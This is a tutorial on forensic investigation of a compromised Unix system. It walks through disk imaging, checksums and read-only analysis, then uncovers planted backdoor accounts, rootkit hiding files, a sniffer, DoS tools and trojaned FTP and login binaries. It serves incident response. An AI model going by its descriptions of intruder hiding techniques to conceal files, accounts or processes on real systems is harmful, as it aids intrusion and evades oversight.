Basic Steps in Forensic Analysis of Unix Systems
Introduction
The preface to "Techniques of Crime Scene Investigation" begins:
One especially important element to crime solving is the effective use
of science and technology. Science and technology applied to the
solution of criminal acts, or forensic science, solves crimes by
assisting police investigators to identify suspects and victims,
clearing innocent persons of suspicion and ultimately bringing the
wrongdoer to justice.
The science is methodical, premeditated actions to gather and analyze
evidence. The technology, in the case of computers, are programs
that suite particular roles in the gathering and analysis of evidence.
The crime scene is the computer and the network (and other network
devices) to which it is connected.
Your job, as a forensic investigator, is to do your best to comb through
the sources of evidence -- disc drives, log files, boxes of removable
media, whatever -- and do two things: make sure you preserve as much
of this data in its original form, and to try to re-construct the
events that occurred during a criminal act and produce a meaningful
starting point for police and prosecutors to do their jobs.
Every incident will be different. In one case, you may simply assist in
the seizure of a computer system, which is analyzed by law enforcement
agencies. In another case, you may need to collect logs, file systems,
and first hand reports of observed activity from dozens of systems in
your organization, wade through all of this mountain of data, and
reconstruct a timeline of events that yields a picture of a very large
incident.
In addition, when you begin an incident investigation, you have no idea
what you will find, or where. You may at first see nothing (especially
if a "rootkit" is in place.) You may find a process running with open
network sockets that doesn't show up on a similar system. You may find
a partition showing 100% utilization, but adding things up with
du only comes to 50%. You may find network saturation,
originating from a single host (by way of tracing its ethernet address
or packet counts on its switch port), a program eating up 100% of the
CPU, but nothing in the file system with that name.
The steps taken in each of these instances may be entirely different,
and a competent investigator will use experience and hunches about what
to look for, and how, in order to get to the bottom of what is going
on. They may not necessarily be followed 1, 2, 3. They may be way more
than is necessary. They may just be the beginning of a detailed
analysis that involves De-compilation of recovered programs and
correlation of packet dumps from multiple networks.
Instead of being a "cookbook" that you follow, consider this a
collection of techniques that a chef uses to construct a fabulous and
unique gourmet meal. Once learned, you'll discover there are plenty
more steps than just those listed here.
Its also important to remember that the steps in preserving and
collecting evidence should be done slowly, carefully, methodically, and
deliberately. The various pieces of data -- the evidence -- on the
system are what will tell the story of what occurred. The first person
to respond has the responsibility of ensuring that as little of this
evidence as possible is damaged, thereby making it useless in
contributing to a meaningful reconstruction of what occurred.
One thing is common to every investigation, and it cannot be stressed
enough. Keep a regular old notebook handy and take careful notes
of what you do during your investigation. These may be
necessary to refresh your memory months later, to tell the same long
story to a new law enforcement agent who takes over the case, or to
refresh your own memory when/if it comes time to testify in court. It
will also help you accurately calculate the cost of responding to the
incident, avoiding the potentially exaggerated estimates that have been
seen in some recent computer crime cases. Crimes deserve justice, but
justice should be fair and reasonable.
As for the technology aspect, the description of basic forensic
analysis steps provided here assumes Red Hat Linux on i386 (any Intel
compatible motherboard) hardware. The steps are basically the same
with other versions of Unix, but certain things specific to i386
systems (e.g., use of IDE controllers, limitations of the PC BIOS,
etc.) will vary from other Unix workstations. Consult system
administration or security manuals specific to your version of Unix.
It is helpful to set up a dedicated analysis system on which to do
your analysis. An example analysis system in a forensic lab might
be set up as follows:
- Fast i386 compatible motherboard with 2 IDE controllers
- At least two large (>8GB) hard drives on the primary IDE
controller (to fit the OS and tools, plus have room to copy
partitions off tape or recover deleted file space from victim
drives)
- Leave second IDE cable empty. This means you won't need to mess
with jumpers on discs -- just plug them in and they will show up as
/dev/hdc (master) or /dev/hdd (slave)
- SCSI interface card (e.g., Adaptec 1542)
- DDS-3 or DDS-4 4mm tape drive (you need enough capacity to
handle the largest partitions you will be backing up)
- If this system is on the network, it should be FULLY
PATCHED and have NO NETWORK SERVICES RUNNING except SSH
(for file transfer and secure remote access) -- Red Hat Linux 6.2
with Bastille-Linux hardening is a good choice
(It can be argued that no services should be running, not
even SSH, on your analysis systems. You can use netcat to
pipe data into the system, encrypting it with DES or Blowfish stream
cyphers for security. This is fine, provided you do not need remote
access to the system.)
Another handy analysis system is a new laptop. An excellent way of
taking the lab to the victim, a fast laptop with 10/100 combo ethernet
card, an 18+GB hard drive, and a backpack with padded case, allows you
to easily carry everything you need to obtain file system images
(later written to tape for long-term storage), analyze them, display
the results, crack intruder's crypt() passwords you
encounter, etc.
A cross-over 10Base-T cable allows you to get by without a hub or
switch, and to still use the network to communicate with the victim
system on an isolated mini-network of two systems. (You will need to
set up static route table entries in order for this to work.)
A Linux analysis system will work for analyzing file systems from
several different operating systems that have supported file system
under Linux, e.g., Sun UFS. You simply need to mount the file system
with the proper type and options, e.g. (Sun UFS):
# mount -r -t ufs -o ufstype=sun /dev/hdd2 /mnt
Another benefit to Linux are "loopback" devices, which allow
you to mount a file containing an image copy (obtained with
dd) into the analysis system's file system. See Appendix A
for details.
Tactical/Strategic goals
Your main goals as an incident investigator/coordinator at your site is
to identify all the systems under your authority that are controlled by
the intruder, understand the method(s) used to gain entry, and to then
ensure that this knowledge is shared and all the affected systems are
secured.
Possible prosecution is secondary to securing the affected systems,
but as was stated earlier, as a forensic investigator the primary
job is to preserve as much evidence at the crime scene in usable form
as possible. This may mean taking the system out of service when
everyone is yelling to get it back online.
If proper forensic data gathering is not addressed during the
investigation, you can destroy any chance of a successful prosecution at
a later date and will have no data on which to calculate a damage
estimate. It is best to attempt to do an efficient, yet thorough, job
of data preservation and analysis whenever possible.
You must learn how to balance these competing goals, and have policies
and procedures in place to allow the process to go smoothly. Assuming
that forensic examination is the top priority, what comes next?
Freezing the scene
As soon as you have evidence that indicates a compromise of the
system, which cannot be refuted by other evidence you have at hand,
you must assume the system has in fact been compromised and begin
to gather evidence before it is destroyed, before logs expire, or
before anything is altered.
There are various types of evidence, with differing levels of
volatility, in places such as processor registers, kernel data
structures in memory, swap space, network data structures
and counters, user process memory and stacks, file system buffer
cache, the file system itself, etc. It will be difficult (if not
impossible) to gather all of this information at the precise moment
that intruder activity is occurring, so it will be necessary to forgo
certain types of information in preference to other more easily
gathered information that can yield the same results (determining
the method of intrusion, activity of the intruders, identity and
source of the intruders, perhaps enough to locate and prosecute
them...).
The easiest way to stop things from being altered is to shut down
and halt the system.
Normally, Unix systems are shut down with the shutdown
command. This is done to ensure that services are cleanly shut down,
any cached file system buffers are flushed, users are notified, etc.
That is fine if the system is intact, but on a compromised system
all bets are off. Intruders have been known to rig compromised systems
to delete some or all files on the system if the network interface is
disabled or a normal shutdown procedure is followed.
To prevent such unwanted modification of the file system, it is often
best to simply yank the power cord. Be aware, however, that
doing this risks losing any cached data that has not yet been written
to disc, network state, running process memory, access to kernel
memory, contents of swap space, etc. This is a judgment call that
you must carefully consider and make yourself.
If you do wish to gather what evidence you can from the system before
powering it off, it helps to quickly run several common tools
and capture everything by doing this in a script session (see
man script). Commonly used tools/tactics would be:
- last, w, who
Get listings of logged in users, prior logins, etc.
- ls
Get long (ls -lat) listing of files in places like
suspect home directories, /dev directory, root
directory, etc.
- ps
Get a long listing of all processes, including those without
ttys (e.g., ps auxwww and ps elfwww on Linux --
add more w flags if the listing is truncated)
- lsof
Get a full listing of all open file handles, which can show
some backdoors, sniffers, eggdrop IRC bots, port redirectors
like "bnc", etc. (Make note of cwd, which is the
current working directory at the time the program was run.)
- find
Identify all normal files or directories modified since the
time you suspect the intrusion took place, or owned by an
account you suspect was used, etc. (Note that this
alters the i-node "last accessed" timestamps, so you should
*not* use this utility to walk the file system if you wish
to learn which files the intruder may have accessed.
- ltrace, strace, truss (SunOS 5)
See file accesses to "rootkit" configuration files, e.g.
Example of trojaned /bin/ls
# truss -t open ./ls
open("/dev/zero", O_RDONLY) = 3
open("/usr/lib/libc.so.1", O_RDONLY) = 4
open("/usr/lib/libdl.so.1", O_RDONLY) = 4
open("/usr/platform/SUNW,Sun_4_75/lib/libc_psr.so.1", O_RDONLY) Err#2 ENOENT
---> open("/dev/ptyr", O_RDONLY) Err#2 ENOENT
open(".", O_RDONLY|O_NDELAY) = 3
[list of files]
See also the man pages for each utility to understand how they work.
Roadblocks to collecting data
Not only might the system be rigged to self-destruct, but it is
increasingly common for several operating system commands, loadable
kernel modules, dynamic link libraries, etc. to be modified or
replaced. These modifications cause the operating system to "lie" to
you, so the system will look as though nothing is wrong at all (while
in reality the system is entirely out of your control, with multiple
-- four, five... twelve! -- different "back doors" to allow the intruders
back in.
You can try to get around any "root
kits" that may be in place by using alternate programs, loadable
kernel modules, libraries, etc., but you must really know what
you are doing and what/when you can trust programs to tell you the
truth. Always question your base assumptions about what you are
seeing. It is often easier to simply remove the drive from the
compromised system in question and mount it read-only in a system that
has a trusted copy of the operating system (hopefully a similar
release) before you analyze it.
You should also consider using the noexec and nodev
options to prevent accidentally running programs from the partition being
analyzed, and to ignore any device files it may contain. (Spend some
time reading the "mount" man page to learn more.) Thus a typical
mount command would look like this:
# mount -o ro,noexec,nodev /dev/hda1 /t
In further examples, these options will not be shown for the sake
of brevity.
Chain of custody - handling evidence
Once the disc has been removed, however, you should take care to
retain a provable chain of custody of the drive in the event that it
(or I should say the evidence recovered from it) is required for use
as evidence in a trial. Failing to do this has
resulted in damage to investigations. You do this by keeping notes of
who does what to the drive and when, by storing it in a secure
location (e.g., locked file cabinet or safe), by making a bit-image
copy (not a file system copy), by analyzing the copy rather than the
original, and by using cryptographic checksums to prove integrity of
the original contents.
A bit-image copy is one that gets every single bit of every byte on a
device partition. The Unix utility to do this is dd (see
man dd and the article in the reference section by Thomas
Rude). Backup utilities like tar and cpio are fine
for portability of file system across versions of Unix, and
dump and restore are good for restoring individual
files. They certainly have their place, but not when it comes to
forensic analysis and data preservation. These utilities do not help
you preserve slack space at the end of files, nor preserve what was
formerly held in blocks of deleted files. Intruders are known to
sometimes hide files in slack space, and to delete logs as soon as
they break in to cover their tracks.
All actions performed during analysis should be logged. It is easy to
do this using the script program, which keeps a log of all
shell input/output. Script notes the beginning/ending time of the
log, and use of the date command at various times during the
session will log intermediate times.
Preparation for analysis
Whether you are going to analyze the system with or without special
forensic tools, you must follow the same basic steps in preparing
the file system for analysis.
- In some cases, it is necessary to photograph the computer system
in its installed state before taking it apart and moving it. This may
be necessary, just as photography of a crime scene is necessary in
certain cases. In other cases, simply documenting the system components,
their SCSI id values, etc., is all that is necessary.
- Start taking detailed notes. Having an incident investigation
log book is helpful, which you initial and date each time you
start/stop work. Note as many pertinent facts as you can as you
prepare, gather, and analyze evidence about the intrusion. This will
form the basis of a detailed report you will produce to summarize the
incident and organize the massive amounts of evidence that usually
pile up in even the smallest computer security incident.
- Before shutting down the system, it is helpful to gather some
basic information about the disc that is not likely to be modified by
intruders, such as the file system layout from /etc/fstab,
the host name and IP address from /etc/hosts and and the
devices on the system (from /var/log/dmesg or system log
files like /var/log/messages). These will often fit on a
compressed floppy disc tar archive file without altering the
file system in any way. (If you cannot gather this information now, a
way -- a bit harder way -- to obtain it after the fact will be shown
later):
# cd /
# tar -cvzf /dev/fd0 etc/hosts etc/fstab var/log/dmesg var/log/messages
etc/hosts
etc/fstab
var/log/dmesg
var/log/messages
- If at all possible, make a bit image copy of the entire drive
and work with the copy, not the original!. While in a
worst-case situation you may have to analyze the original, doing so runs
the risk of you making a simple mistake and destroying everything.
The original should be kept safe -- actually in a safe if you
have one -- so you can be sure it is not altered or destroyed. (This
is why MD5 checksums will be created later.)
- Install the disk in your analysis system on an open IDE port and
boot the system. You must be very careful not to damage
the disk by master/slave conflicts on the IDE controller, etc. It is
easiest and best to have this be the only drive connected to the IDE
cable on the second IDE interface (e.g. if you have an IDE CD-ROM on
the second interface, take it off temporarily.)
You may also need to toggle auto-detection of drive type and geometry
in your BIOS settings (make notes so that you know what you did and
how to reset things afterwards.)
- Identify the partitions on the drive using fdisk.
Do not use fdisk in interactive mode and risk
modifying the partition table or disk label. (Note: fdisk is
an i386 Linux program, modeled after the DOS equivalent.):
# fdisk -l /dev/hdd
Disk /dev/hdd: 255 heads, 63 sectors, 1575 cylinders
Units = cylinders of 16065 * 512 bytes
Device Boot Start End Blocks Id System
/dev/hdd1 * 1 869 6980211 b Win95 FAT32
/dev/hdd2 870 1022 1228972+ 83 Linux
/dev/hdd3 1023 1035 104422+ 82 Linux swap
/dev/hdd4 1036 1575 4337550 83 Linux
From this listing, a safe assumption would be that partition /dev/hdd2
was the root file system, and /dev/hdd4 is something like /usr or
/home. You cannot tell this from the partition table, but you can
tell it from the copy of /etc/fstab you saved before, or by either
mounting and looking at the file systems one by one or by finding the
root file system and looking at the /etc/fstab file.
In this case, we will make a bit-image copy of the partitions first,
then restore these to another drive for examination.
- Generate MD5 checksums of each of the partitions, get an bit-image
copy, and verify the checksums match.
Note: We will assume your tape drive is on device /dev/st0
and the non-rewind device is /dev/nst0. Also, the default
block size, usually 512 bytes, may not be the most efficient blocking
factor for your tape drive. See documentation on your drive to
determine the most efficient blocking factor and use that (often
between 8198 to 32767). These examples will simply use
defaults for simplicity.
The command mt is used to skip back one file after writing it
to verify the MD5 checksum. Make sure you use the
non-rewind device name and skip forward/back where
appropriate if you are writing multiple dd image files to
tape, otherwise you will over-write one or all files on tape and lose
data. Also make sure you don't make a mistake with if=
and of= options to dd, or you may destroy
data on disc.
(See man mt and man dd, then practice
writing/reading multiple files on tape before you do this with
important data.)
# date
Mon Jun 19 12:00:22 PDT 2000
# md5sum /dev/hdd2
7b8af7b2224f0497da808414272e7af4 /dev/hdd2
# mt status
SCSI 2 tape drive:
File number=0, block number=0, partition=0.
Tape block size 512 bytes. Density code 0x13 (DDS (61000 bpi)).
Soft error count since last status=0
General status bits on (41010000):
BOT ONLINE IM_REP_EN
# dd if=/dev/hdd2 of=/dev/nst0
2457944+0 records in
2457944+0 records out
# mt bsf 1
# dd if=/dev/st0 | md5sum
2457944+0 records in
2457944+0 records out
7b8af7b2224f0497da808414272e7af4 -
# mt status
SCSI 2 tape drive:
File number=1, block number=0, partition=0.
Tape block size 512 bytes. Density code 0x13 (DDS (61000 bpi)).
Soft error count since last status=0
General status bits on (81010000):
EOF ONLINE IM_REP_EN
Label the tape with, and/or accompany it with a printout containing,
the victim system name, partition(s) and the corresponding file
number(s)/MD5 checksums on the tape, your initials, and the date.
If the checksums do not match, that means that as little as a single bit
of data has been altered. This can occur when there is a bad block
on the original disc, a bad section of tape, you mistakenly are trying
to copy a "live" file system mounted read/write, or you specified the
wrong partition. Try a different tape. Try regenerating the checksum
on the disc partition. Whatever you do, do not try to reformat
or analyze/fix the disc drive, as this will alter data on the
drive. It may be necessary to have the drive processed by a
professional data recovery service that can copy the contents at the
same time as they determine precisely which block(s) are bad. If it is
the tape that is flaky, you may need to obtain another tape drive
or fresh tapes before you go any farther.
- If you are placing more than one partition on the tape,
make sure you use the non-rewind device for writing each
partition, then use mt rewind (or just unload the tape, which
will rewind it). You should then set the write-protect tab to ensure
you do not accidentally erase or overwrite the tape. When you reload
the tape, check to make sure it is write-protected using the
mt command:
[The following shows write-protect tab enabled, and positioned at the
"beginning of tape" (BOT) and first file mark (#0) on the tape.]
# mt status
SCSI 2 tape drive:
File number=0, block number=0, partition=0.
Tape block size 512 bytes. Density code 0x13 (DDS (61000 bpi)).
Soft error count since last status=0
General status bits on (45010000):
BOT WR_PROT ONLINE IM_REP_EN
[The following shows that the write-protect tab is not enabled, and
that end of file mark #1 (the end of the second file on tape) is also
at the end of the media (the I/O error when trying to skip forward and
"EOF EOD" in the status.]
# mt fsf 1
/dev/tape: Input/output error
# mt status
SCSI 2 tape drive:
File number=1, block number=0, partition=0.
Tape block size 512 bytes. Density code 0x13 (DDS (61000 bpi)).
Soft error count since last status=0
General status bits on (89010000):
EOF EOD ONLINE IM_REP_EN
- Mount what you think is the root file system, but do not
modify it in any way. To do this, mount the file system
read-only with the "-r" (or "-o ro") option and then get a long,
time-ordered listing of files. (Note that the file ownerships will
come from the analysis system's /etc/group file, not that of
the victim system.)
# mount -r /dev/hdd2 /mnt
# ls -lat /mnt
total 73
drwxr-x--- 17 root root 1024 May 1 09:01 root
drwxrwxrwt 6 root root 1024 May 1 04:03 tmp
drwxr-xr-x 8 root root 34816 Apr 30 04:02 dev
drwxr-xr-x 34 root root 3072 Apr 29 14:17 etc
drwxr-xr-x 2 root root 2048 Apr 26 16:52 bin
drwxr-xr-x 2 root root 1024 Apr 26 11:12 boot
drwxr-xr-x 3 root root 3072 Apr 21 04:01 sbin
drwxr-xr-x 4 root root 3072 Apr 21 03:56 lib
drwxrwxr-x 2 root root 1024 Mar 3 13:27 cdrom
drwxr-xr-x 2 root root 1024 Oct 9 1999 home
drwxr-xr-x 2 root root 12288 Oct 9 1999 lost+found
drwxr-xr-x 4 root root 1024 Oct 9 1998 mnt
drwxr-xr-x 2 root root 1024 Oct 9 1999 proc
drwxr-xr-x 20 root root 1024 Aug 2 1998 usr
drwxr-xr-x 18 root root 1024 Aug 2 1998 var
From this listing, we can tell several things. First, this does
indeed look like the root file system (we see "usr", "var", "proc",
"bin", "root", etc... yes, even "etc" ;) We also see a directory
"home" with a link count of 2 and a directory "usr" with a link count
of 20. (Because of the "." and ".." directory entries, the minimum
number of links to a directory is 2, with one more link for
the ".." entry contained in each of its subordinate directories.)
While it is still not clear what is on /dev/hdd4, it looks
most likely that it contains the contents of /home and not
/usr (or even /var for the same reasons).
Of course we can tell for sure by checking the /etc/fstab
file:
# less /mnt/etc/fstab
. . .
/dev/hda1 /dosc msdos defaults 0 0
/dev/hda2 / ext2 defaults 1 1
/dev/hda4 /home ext2 defaults 1 2
/dev/hda3 swap swap defaults 0 0
/dev/cdrom /cdrom iso9660 noauto,user,ro 0 0
/dev/fd0 /floppy ext2 noauto,user,rw 0 0
none /proc proc defaults 0 0
none /dev/pts devpts mode=0622 0 0
[Note that we are using the pager less here. This is to prevent
any potentially embedded non-printable characters from changing
settings in the tty driver, which can render the terminal useless. If
you were using script to log the session, you would have to
exit and restart things, possibly forgetting to use script
again and missing some of what you did.]
Remember that if this was the only IDE drive used on the system, it
would most likely be a master on the first controller, or
/dev/hda. That is why the fstab file lists them as such, and
not /dev/hdd as they are on our analysis system. Thus, in
order for us to mount the /home partition, we need to use
/dev/hdd4
# umount /mnt
# mount -r /dev/hdd4 /mnt
# ls -lat /mnt
total 21
drwx------ 47 user1 user1 3072 Apr 28 11:52 user1
drwx------ 10 user3 user3 1024 Dec 3 14:19 user3
drwx------ 4 user2 user2 1024 Oct 14 1999 user2
drwxr-xr-x 2 root root 12288 Oct 1 1999 lost+found
drwxr-xr-x 2 root nobody 1024 Apr 15 1999 samba
drwxr-xr-x 5 root root 1024 Apr 7 1999 httpd
drwxr-xr-x 6 root root 1024 Mar 21 1999 ftp
drwxr-xr-x 30 root root 1024 Aug 2 1998 local
We can now see the contents of the /home partition (mounted
on /mnt instead). We will ignore the contents of the
/home partition for now, since no operating system files are
kept there (you will probably want to analyze this file system for
various backdoors, such as setuid/setgid programs, .rhosts
files, commands added to shell initialization files that might do
things like email a copy of the password file, and so forth before
using them again.)
Let's re-mount (read-only, don't forget!) the root file system
and begin checking things out.
# umount /mnt
# mount -r /dev/hdd2 /mnt
First, we check the contents of the /etc/passwd file to see
the accounts and UID/GID mappings. This file should be copied and
used with file system analysis tools, like The Coroner's Toolkit
mactime program, to show correct UID/username mappings.
The password file may also show accounts created by the intruders, as
is the case here:
# less /mnt/etc/passwd
. . .
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
z:x:0:0::/:/bin/bash
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
r00t:x:598:500:::/bin/bash
games:x:12:100:games:/usr/games:
y:x:900:100::/tmp:/bin/bash
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/:
gdm:x:42:42::/home/gdm:/bin/bash
xfs:x:100:233:X Font Server:/etc/X11/fs:/bin/false
user1:x:500:500:User 1:/home/user1:/bin/tcsh
user2:x:501:501:User 2:/home/user2:/bin/tcsh
user3:x:502:502:User 3:/home/user3:/bin/tcsh
named:x:25:25:Named:/var/named:/bin/false
You can see several accounts that look somewhat (or totally)
illegitimate, such as the out of order higher-numbered user accounts
"r00t" and "y" (which also has a home directory of /tmp), the
recently created (password files usually have accounts added
sequentially) order lower-numbered account "named", and the account
"z" with uid=0/gid=0 (same as root).
Make a note of these accounts so you can come back and follow these
leads in a moment. Also make note of some possible assumptions you
can make at this point, for example:
- Creation of accounts is a very overt action,
so this may indicate a low skill level of the intruder.
- It might indicate the intruders have "cased" the system and
know the administrator pays little attention to it, so they do not
fear discovery.
- It could even be a diversion so the system administrator will find
them, remove them, and go on assuming the system is clean, when multiple
backdoors to the root account still exist.
- Since accounts are normally added sequentially to the
/etc/passwd file, someone may have installed a new version of
named recently (was it the owner of the system?)
You should start constructing a timeline that shows when significant
events occurred, and try to trace all actions backwards to a login
session, a service point of entry, and a point of origin. You will
then try to weave these threads backwards and into/out of systems to
try to identify the attacker's true origin and all systems being used
by the intruder.
You have now begun the note taking process, preserved and verified
that you have unmodified original copies of the file system, and
either made a copy for analysis (preferable) or are very
carefully looking at the file system in read-only mode (only if
you have no other choice.)
From this point, analysis can be done with standard Unix tools and
some skill and/or with special tools designed for forensic data
gathering and analysis. We will look at both ways.
Analysis with standard Unix tools
Assuming that you have clean copies of standard Unix tools (e.g.,
by using a special anti-rootkit toolkit or analysis system), we can
continue from where we left off.
When looking at the /etc/passwd file, we noticed some
suspicious accounts. Since one account ("y") uses the home directory
/tmp, and another ("x") uses the root file system, these
should be checked.
# ls -lat /mnt/tmp
total 156
drwxrwxrwt 6 root root 1024 May 1 04:03 .
-r--r--r-- 1 root gdm 11 Apr 29 14:17 .X0-lock
drwxrwxrwt 2 root gdm 1024 Apr 29 14:17 .X11-unix
drwxrwxrwt 2 xfs xfs 1024 Apr 29 14:17 .font-unix
drwxr-xr-x 25 y root 1024 Apr 28 23:47 ..
drwx------ 2 user1 user1 1024 Apr 26 17:36 kfm-cache-500
-rw-rw-r-- 1 user1 user1 12288 Apr 26 16:37 psdevtab
drwxrwxrwt 2 root root 1024 Apr 21 11:12 .ICE-unix
-rwx------ 1 root root 138520 Apr 20 20:15 .fileMFpmnk
The oldest file has an unusual (at least not familiar) looking name
and is executable. This warrants closer scrutiny. The easiest is to
analyze the strings embedded in the program (deleted lines shown by
ellipses).
# strings - /mnt/tmp/.fileMFpmnk
/lib/ld-linux.so.2
__gmon_start__
libpam.so.0
_DYNAMIC
_GLOBAL_OFFSET_TABLE_
pam_set_item
free
__ctype_tolower
malloc
strcmp
pam_end
pam_start
. . .
File
Compressed
Block
Stream
[nowhere yet]
ftpd
:aAvdlLiop:P:qQr:sSt:T:u:wWX
bad value for -u
option -%c requires an argument
unknown option -%c ignored
. . .
VirtualFTP Connect to: %s [%s]
banner
logfile
email
/var/log/xferlog
connection refused (server shut down) from %s
%s FTP server shut down -- please try again later.
lslong
/bin/ls -la
lsshort
lsplain
/bin/ls
greeting
full
terse
brief
%s FTP server (%s) ready.
%s FTP server ready.
FTP server ready.
. . .
FTP LOGIN REFUSED (already logged in as %s) FROM %s, %s
Already logged in.
/etc/ftphosts
FTP LOGIN REFUSED (name in %s) FROM %s, %s
anonymous
FTP LOGIN REFUSED (anonymous ftp denied on default server) FROM %s, %s
FTP LOGIN REFUSED (ftp in denied-uid) FROM %s, %s
/etc/ftpusers
. . .
These strings shows this appears to be an FTP server, usually
named ftpd or in.ftpd. This may indicate a
rootkit, or other form of trojan horse backdoor, is in place on this
system. Configuration files and intruder files are often placed
in the /dev directory, so a quick check there is also
a good idea.
# cd /mnt/dev
# ls -lat | head -30
total 116
drwxr-xr-x 8 root root 34816 Apr 30 04:02 .
srw-rw-rw- 1 root root 0 Apr 30 04:02 log
crw------- 1 root root 4, 1 Apr 29 14:17 tty1
crw------- 1 root root 4, 2 Apr 29 14:17 tty2
crw------- 1 root root 4, 3 Apr 29 14:17 tty3
crw------- 1 root root 4, 4 Apr 29 14:17 tty4
crw------- 1 root root 4, 5 Apr 29 14:17 tty5
crw------- 1 root root 4, 6 Apr 29 14:17 tty6
srwxrwxrwx 1 root root 0 Apr 29 14:17 gpmctl
srw------- 1 root root 0 Apr 29 14:17 printer
crw-r--r-- 1 root root 1, 9 Apr 29 14:17 urandom
prw------- 1 root root 0 Apr 29 14:14 initctl
drwxr-xr-x 25 y root 1024 Apr 28 23:47 ..
crw-rw-rw- 1 root tty 3, 2 Apr 28 11:44 ttyp2
crw-rw-rw- 1 root tty 3, 0 Apr 28 11:43 ttyp0
crw-rw-rw- 1 root tty 3, 1 Apr 28 11:43 ttyp1
-rw-r--r-- 1 root root 18 Apr 27 22:58 ptyp
drwxr-xr-x 4 r00t root 1024 Apr 27 22:58 ...
crw-rw-rw- 1 root tty 3, 4 Apr 27 12:02 ttyp4
crw-rw-rw- 1 root tty 3, 3 Apr 27 11:56 ttyp3
crw------- 1 root root 5, 1 Apr 21 11:09 console
lrwxrwxrwx 1 root root 5 Apr 21 04:02 mouse -> psaux
drwxr-xr-x 2 root root 1024 Apr 20 15:21 rev0
-rw-r--r-- 1 root root 33 Apr 20 15:21 ptyr
lrwxrwxrwx 1 root root 9 Feb 28 02:23 isdnctrl -> isdnctrl0
lrwxrwxrwx 1 root root 5 Feb 28 02:23 nftape -> nrft0
lrwxrwxrwx 1 root root 3 Feb 28 02:23 fb -> fb0
lrwxrwxrwx 1 root root 15 Feb 28 02:23 fd -> ../proc/self/fd
lrwxrwxrwx 1 root root 4 Feb 28 02:23 ftape -> rft0
Broken pipe
Two notable things pop up: Normal files (indicated by "-" in the
first character of a long ls listing) named "ptyp" and "ptyr", a
directory named "rev0", and a hidden directory named "..."). These
are highly suspect.
# less ptyr
. . .
sp.pl
slice
ssynk4
rev0
bc1
snif
This rootkit configuration file for a trojan horse version of
ls hides files or directories with names like sp.pl,
slice (a DoS program), ssynk4 (a DoS program),
rev0, bc1, and snif (probably a sniffer).
Since we are looking at things with a clean and trusted operating
system, you can now use find and grep to identify
where these files are located.
# cd /mnt
# find . -ls | grep -f etc/ptyr
282058 1 drwxr-xr-x 2 root root 1024 Apr 20 15:21 ./dev/rev0
282059 1 -rw-r--r-- 1 root root 5 Apr 20 15:21 ./dev/rev0/sniff.pid
282061 20 -rw-r--r-- 1 root root 19654 Apr 20 20:23 ./dev/rev0/tcp.log
164753 9 -rwxr-xr-x 1 1080 users 9106 Sep 20 1999 ./dev/rev0/slice
164754 8 -rwxr-xr-x 1 1080 users 8174 Sep 20 1999 ./dev/rev0/smurf4
164755 8 -rwxr-xr-x 1 1080 users 7229 Sep 20 1999 ./dev/rev0/snif
164756 4 -rwxr-xr-x 1 1080 users 4060 Mar 5 1999 ./dev/rev0/sp.pl
164770 9 -rwxr-xr-x 1 root 1000 8268 Aug 10 1999 ./dev/.../blitznet/slice2
61907 2 -rwxr-xr-x 1 root root 2006 Mar 29 1999 ./usr/bin/sliceprint
255230 1 -rw-r--r-- 1 root root 900 Mar 21 1999 ./usr/include/python1.5/sliceobject.h
Some of these are obviously (or probably) legitimate system files, but
the others are suspiciously abnormal in two directories in
/dev:
# cd /mnt/dev
# less ptyp
. . .
3 egg
3 egg
3 bnc
This is a rootkit configuration file for a trojan horse version of
ps that hides processes containing the strings "egg" or
"bnc". Watch for executables with these names.
# cd /mnt/dev
# ls -lR ...
...:
total 2699
drwxr-sr-x 2 root 1000 1024 Aug 10 1999 blitznet
-rw-r--r-- 1 root root 30720 Apr 26 04:07 blitznet.tar
-rwxrw-r-- 1 r00t user1 22360 Apr 27 22:58 bnc
-rw-r--r-- 1 900 users 2693120 Apr 20 22:18 collision.tar
-rw-rw-r-- 1 r00t user1 976 Apr 27 22:58 example.conf
-rw-rw-r-- 1 user1 user1 5 Apr 28 20:35 pid.bnc
.../blitznet:
total 22
-rw-r--r-- 1 root 1000 3450 Aug 10 1999 README
-rw-r--r-- 1 root 1000 1333 Aug 10 1999 blitz.c
-rw-r--r-- 1 root 1000 3643 Aug 10 1999 blitzd.c
-rwxr-xr-x 1 root 1000 2258 Aug 10 1999 rush.tcl
-rwxr-xr-x 1 root 1000 8268 Aug 10 1999 slice2
There was a directory named /dev/rev0 that showed up.
Let's see what it contains.
# ls -lR rev0
rev0:
total 51
-rwxr-xr-x 1 1080 users 9106 Sep 20 1999 slice
-rwxr-xr-x 1 1080 users 8174 Sep 20 1999 smurf4
-rwxr-xr-x 1 1080 users 7229 Sep 20 1999 snif
-rw-r--r-- 1 root root 5 Apr 20 15:21 sniff.pid
-rwxr-xr-x 1 1080 users 4060 Mar 5 1999 sp.pl
-rw-r--r-- 1 root root 19654 Apr 20 20:23 tcp.log
# cd /mnt/usr/bin
# ls -lat | head
total 89379
drwxr-xr-x 6 root root 27648 Apr 21 04:01 .
-rwsr-xr-x 1 root root 20164 Apr 15 19:23 chx
lrwxrwxrwx 1 root root 8 Feb 28 02:28 netscape-navigator -> netscape
drwxrwxr-x 2 news news 1024 Feb 28 02:25 rnews.libexec
drwxrwxr-x 2 news news 1024 Feb 28 02:25 control
drwxrwxr-x 2 news news 1024 Feb 28 02:25 filter
lrwxrwxrwx 1 root root 4 Dec 30 13:06 elatex -> etex
lrwxrwxrwx 1 root root 5 Dec 30 13:06 lambda -> omega
lrwxrwxrwx 1 root root 3 Dec 30 13:06 latex -> tex
Broken pipe
# strings - chx
/lib/ld-linux.so.2
__gmon_start__
libcrypt.so.1
libpam.so.0
. . .
/var/log/btmp
/usr/share/locale
util-linux
fh:p
login: -h for super-user only.
usage: login [-fp] [username]
/dev/tty
%s??
/dev/vcs
/dev/vcsa
login
login: PAM Failure, aborting: %s
Couldn't initialize PAM: %s
FAILED LOGIN %d FROM %s FOR %s, %s
Login incorrect
